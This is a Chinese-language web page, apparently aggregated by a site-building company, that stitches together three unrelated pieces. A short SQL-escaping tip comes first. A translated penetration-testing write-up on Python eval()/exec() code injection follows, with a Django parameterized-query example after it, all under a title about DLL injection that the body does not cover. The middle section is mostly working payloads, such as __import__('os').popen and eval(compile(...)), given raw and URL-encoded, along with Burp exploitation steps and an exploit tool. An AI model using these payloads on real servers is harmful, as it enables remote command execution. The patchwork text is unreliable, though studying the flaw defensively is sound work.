python防注入函數(shù) python 注入dll

python怎么防止sql注入

最簡單最容易的是限制用戶輸入。簡單點的就是不允許用戶輸入單引號 和 --,因為單引號號--在SQL中都是影響執(zhí)行的,兩種方式一種是在JSP中加判斷。

創(chuàng)新互聯(lián)是一家專業(yè)從事成都網(wǎng)站建設、網(wǎng)站建設、網(wǎng)頁設計的品牌網(wǎng)絡公司。如今是成都地區(qū)具影響力的網(wǎng)站設計公司,作為專業(yè)的成都網(wǎng)站建設公司,創(chuàng)新互聯(lián)依托強大的技術實力、以及多年的網(wǎng)站運營經(jīng)驗,為您提供專業(yè)的成都網(wǎng)站建設、營銷型網(wǎng)站建設及網(wǎng)站設計開發(fā)服務!

另一種是在SQL拼接是對單引號和--等進行轉義,例如:str = str.replace("'", "''");

等等,還有其他很多方法。

如何使用python查找網(wǎng)站漏洞

如果你的Web應用中存在Python代碼注入漏洞的話,攻擊者就可以利用你的Web應用來向你后臺服務器的Python解析器發(fā)送惡意Python代碼了。這也就意味著,如果你可以在目標服務器中執(zhí)行Python代碼的話,你就可以通過調用服務器的操作系統(tǒng)的指令來實施攻擊了。通過運行操作系統(tǒng)命令,你不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動一個遠程的交互式Shell(例如nc、Metasploit和Empire)。

為了復現(xiàn)這個漏洞,我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網(wǎng)上查找一些關于這個漏洞具體應用方法的信息,但是并沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現(xiàn)了一個非交互式的shell,這也是我們這篇文章所要描述的內容。

因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現(xiàn)代碼注入問題,因此Python代碼注入屬于服務器端代碼注入的一種。實際上,如果各位同學和我一樣是一名CWE的關注者,那么下面這兩個CWE也許可以給你提供一些有價值的參考內容:

1. CWE-94:代碼生成控制不當(‘代碼注入’)2. CWE-95:動態(tài)代碼評估指令處理不當(‘Eval注入’)漏洞利用

假設你現(xiàn)在使用Burp或者其他工具發(fā)現(xiàn)了一個Python注入漏洞,而此時的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面這個Payload來在目標主機中實現(xiàn)操作系統(tǒng)指令注入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上,你甚至都不需要使用for循環(huán),直接使用全局函數(shù)“__import__”就可以了。具體代碼如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔,既然我們已經(jīng)將import和popen寫在了一個表達式里面了,那么在大多數(shù)情況下,你甚至都不需要使用compile了。具體代碼如下所示:

__import__('os').popen('COMMAND').read()

為了將這個Payload發(fā)送給目標Web應用,你需要對其中的某些字符進行URL編碼。為了節(jié)省大家的時間,我們在這里已經(jīng)將上面所列出的Payload代碼編碼完成了,具體如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關于這個漏洞的細節(jié)內容,并跟大家分享一個包含這個漏洞的Web應用。在文章的結尾,我將會給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫的,它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過這款工具仍在起步階段,感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。

搭建一個包含漏洞的服務器

為了更好地給各位同學進行演示,我專門創(chuàng)建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話,你可以點擊這里獲取這份Web應用。接下來,我們要配置的就是Web應用的運行環(huán)境,即通過pip或者easy_install來安裝web.py。它可以作為一臺獨立的服務器運行,或者你也可以將它加載至包含mod_wsgi模塊的Apache服務器中。相關操作指令如下所示:

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

當你在網(wǎng)上搜索關于python的eval()函數(shù)時,幾乎沒有文章會提醒你這個函數(shù)是非常不安全的,而eval()函數(shù)就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況,說明你的Web應用中存在這個漏洞:

1. Web應用接受用戶輸入(例如GET/POST參數(shù),cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數(shù)據(jù)傳遞給eval()函數(shù)(沒有經(jīng)過安全審查,或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼:

\

大家可以看到,eval()函數(shù)是上述代碼中唯一一個存在問題的地方。除此之外,如果開發(fā)人員直接對用戶的輸入數(shù)據(jù)(序列化數(shù)據(jù))進行拆封的話,那么Web應用中也將會出現(xiàn)這個漏洞。

不過需要注意的是,除了eval()函數(shù)之外,Python的exec()函數(shù)也有可能讓你的Web應用中出現(xiàn)這個漏洞。而且據(jù)我所示,現(xiàn)在很多開發(fā)人員都會在Web應用中不規(guī)范地使用exec()函數(shù),所以這個問題肯定會存在。

自動掃描漏洞

為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發(fā)現(xiàn)一些我此前沒有見過的東西。找到之后,我再想辦法將毫無新意的PoC開發(fā)成一個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。

這個漏洞也不例外,如果你在某個Web應用中發(fā)現(xiàn)了這個漏洞,那么你肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業(yè)掃描工具,你幾乎是無法發(fā)現(xiàn)這個漏洞的。

當你搭建好測試環(huán)境之后,啟動并運行包含漏洞的示例應用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示:

\

下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:

\

我們可以看到,Burp之所以要將這個Web應用標記為“Vulnerable”(包含漏洞的),是因為當它將這個Payload發(fā)送給目標Web應用之后,服務器的Python解析器休眠了20秒,響應信息在20秒之后才成功返回。但我要提醒大家的是,這種基于時間的漏洞檢查機制通常會存在一定的誤報。

將PoC升級成漏洞利用代碼

使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來,為了執(zhí)行操作系統(tǒng)指令并接收相應的輸出數(shù)據(jù),我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數(shù)。當然了,應該還有很多其他的函數(shù)同樣可以實現(xiàn)我們的目標。

因為eval()函數(shù)只能對表達式進行處理,因此Burp Suite Pro的Payload在這里使用了compile()函數(shù),這是一種非常聰明的做法。當然了,我們也可以使用其他的方法來實現(xiàn),例如使用全局函數(shù)“__import__”。關于這部分內容請查閱參考資料:[參考資料1][參考資料2]

下面這個Payload應該可以適用于絕大多數(shù)的場景:

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執(zhí)行一個或多個語句,那么你就需要使用eval()或者compile()函數(shù)了。實現(xiàn)代碼如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中,有時全局函數(shù)“__import__”會不起作用。在這種情況下,我們就要使用for循環(huán)了。相關代碼如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數(shù)是一個GET參數(shù),那么你就可以直接在瀏覽器中利用這個漏洞了:

\

請注意:雖然瀏覽器會幫你完成絕大部分的URL編碼工作,但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,你也可以直接使用我們所開發(fā)的工具。

如果是POST參數(shù)的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數(shù)中一次性調用了多個系統(tǒng)命令,即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到,它跟sqlmap一樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。

【Python基礎】django如何防止sql注入?

python+Django 防止SQL注入

先看看那種容易被注入的SQL

id = 11001

sql = """

SELECT

id,

name,

age

FROM

student

WHERE

id = """+id+"""

"""

cursor = connection.cursor()

try:

cursor.execute(sql)

result = cursor.fetchall()

for result1 in result:

// 代碼塊

pass

finally:

cursor.close()

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

一般來說寫SQL語句在程序中,若有where條件一般都可能會去直接拼接,到那時這種方式容易被SQL注入,首先說明下什么是SQL的注入,簡單來說就是你寫的SQL被別人在頁面上拼接了SQL。比如拼接1=1這種條件,如果登錄接口被注入1=1那么就可以隨意進入你的程序了。所以才要防止SQL的注入。

下面再來看看防止SQL的注入

id = 11001

params = []

sql = """

SELECT

id,

name,

age

FROM

student

WHERE

id = %s

"""

params.append(id)

cursor = connection.cursor()

try:

cursor.execute(sql, params)

result = cursor.fetchall()

for result1 in result:

// 代碼塊

pass

finally:

cursor.close()

我們把直接拼接的條件變量放入集合再把集合帶入執(zhí)行SQL的方法,就可以避免被注入的風險,在SQL的條件中使用%s進行站位,要注意的是這個%s是有順序的,比如說上面這個SQL后面在跟一個條件name=%s那么下面的params集合也要多加一個元素params.append(name)這個時候name是在id后面的在集合中。這樣可以一一對應,但如果要是把params.append(name)寫在了params.append(id)前面SQL執(zhí)行就會出現(xiàn)id=name and name = id 的條件就亂了,甚至還會報錯。

使用connection完畢之后一定要記得close,connection是django.db中的,導入不要導入錯了。

分享文章:python防注入函數(shù) python 注入dll
文章地址:http://muchs.cn/article4/doedsie.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供Google標簽優(yōu)化、響應式網(wǎng)站、微信公眾號網(wǎng)站設計公司

廣告

聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)

營銷型網(wǎng)站建設